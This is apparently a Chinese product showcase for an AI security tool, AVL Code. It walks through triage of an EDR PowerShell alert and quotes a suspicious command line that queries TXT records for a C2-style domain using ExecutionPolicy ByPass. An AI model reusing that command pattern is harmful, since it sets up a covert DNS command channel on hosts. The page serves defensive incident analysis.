EDR 行为告警链还原分析

你是值班 SOC 分析师，手里唯一的输入是一条 EDR 告警 JSON。照本文做完，你会在一轮对话里拿到：五级进程调用链、父进程四项文件异常、解码后的 PowerShell 命令、DNS-over-TXT 隐蔽信道定性，以及一份可逐条抄进工单的处置建议。

输入：1 条 EDR 告警 JSON（magic: antiyedr · ver V3.0）· 对象：PowerShell 进程行为告警（type: process_behavior）· 模型：澜砥 N2.5· 交付物：威胁分析报告（8 节）· 交互：单轮指令 · 全程不离开对话

查看会话内容

下载会话存档可导入 AVL Code 工作区回放完整对话

概览

01
贴入告警 — 五级调用链还原，可疑点收窄到父进程

你把告警 JSON 原样贴进去；AVL Code 给出告警概要（wop0060008 / level 3 / automatic_release）、五级进程链与时间线，父进程 HealthAttestationClient.exe 浮出水面。
02
解码定性 — 父进程四项异常 + DNS-over-TXT，五条建议进工单

你看到父进程与子进程的文件属性对照、完整解码的 PowerShell 命令；隐蔽信道定性成立，判定与处置建议可直接翻译成工单语言。

向 AVL Code 发布任务

请基于以下json数据，给我分析一下这个行为是否存在威胁：
{ … 完整告警 JSON（约 200 行，含 alarm_info / dispose_info_list / process_info_parent / process_info_self / time / type / uuid 等）… }

告警解析

不用先读懂字段，也不用在 EDR 控制台和威胁情报站之间横跳——JSON 原样就是最好的输入：

你输入 → AVL Code

请基于以下json数据，给我分析一下这个行为是否存在威胁：
{
  "alarm_info": { "behavior_alarm": {
      "label": "执行.利用命令和脚本解释器.利用PowerShell-T1059.001",
      "level": 3, "rule_id": "wop0060008", … } },
  "dispose_info_list": [
    { "dispose": "automatic_release", "type": "event", … }, … ],
  "process_info_parent": { "pid": 13892,
    "path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe", … },
  "process_info_self": { "pid": 6944,
    "path": "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", … },
  "time": 1779267345, "type": "process_behavior" …
}

AVL Code 执行 → 你会看到

解析告警概要：规则 wop0060008（利用 PowerShell-T1059.001）· 严重等级 3（中高危）· 处置 automatic_release（自动放过）
→ 还原五级行为链：winlogon → userinit → explorer → HealthAttestationClient（父进程）→ powershell（告警进程）
→ 时间线核查：告警触发几乎与 PowerShell 启动同时
→ 转入父进程分析：HealthAttestationClient.exe（System32 子目录）

命令解码与定性

报告把你贴进去的两个文件并排放在一起，结论自己浮出来：

你输入的 JSON 关键字段 → AVL Code

// process_info_parent.file_info.basic_info
"path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe"
"certificate_info": []
"is_system_file": 0
"compile_time": 1770806663, "compiler_pack": "Compiler/Microsoft.VISUAL_C@18"
"detect_info": { "state": "unknown", … }

// process_info_self（powershell.exe）
"detect_info": { "state": "white", … }, "is_system_file": 1
"param": "powershell.exe -NoProfile -ExecutionPolicy ByPass -Command \"chcp 65001; $domain=_dnsauth.gelinpp.com; $DnsServers='1.1.1.1' …\""

AVL Code 执行 → 你会看到

父进程四项异常：无数字签名 · 非系统文件却位于 System32 子目录 · 检测状态 unknown · 编译时间异常（2026-02，MSVC 18）
→ 子进程 powershell.exe：白文件 · 系统文件
→ 命令解码：chcp 65001 → ipconfig /flushdns → Resolve-DnsName 查询 _dnsauth.gelinpp.com 的 TXT 记录
→ 定性：DNS-over-TXT 隐蔽信道——C2 指令/Payload 可编码在 TXT 记录中，绕过黑名单与流量检测；_dnsauth 前缀伪装成 DNS 认证用途

亲自检测

下载会话导入工作区回放完整过程，或把你的 EDR 告警 JSON 原样贴给 AVL Code：

查看会话内容

下载会话存档可导入 AVL Code 工作区回放完整对话

› 请基于以下json数据，给我分析一下这个行为是否存在威胁：

{ 粘贴你的 EDR 告警 JSON }

告警 JSON 含主机信息时注意脱敏；结论是模型基于单条 JSON 的研判，落地前建议按处置建议提取样本（SHA256: E566B1C4FE1596708B900A887631C0775AF06B39BD168FC96140909AB5919A07）复核，并与 EDR 处置流程结合使用。

下一个问题： 样本到手后，如何对 HealthAttestationClient.exe 做静态逆向，确认它是否真的承载 C2 逻辑？

概览

贴入告警 — 五级调用链还原，可疑点收窄到父进程

解码定性 — 父进程四项异常 + DNS-over-TXT，五条建议进工单

告警解析

命令解码与定性

亲自检测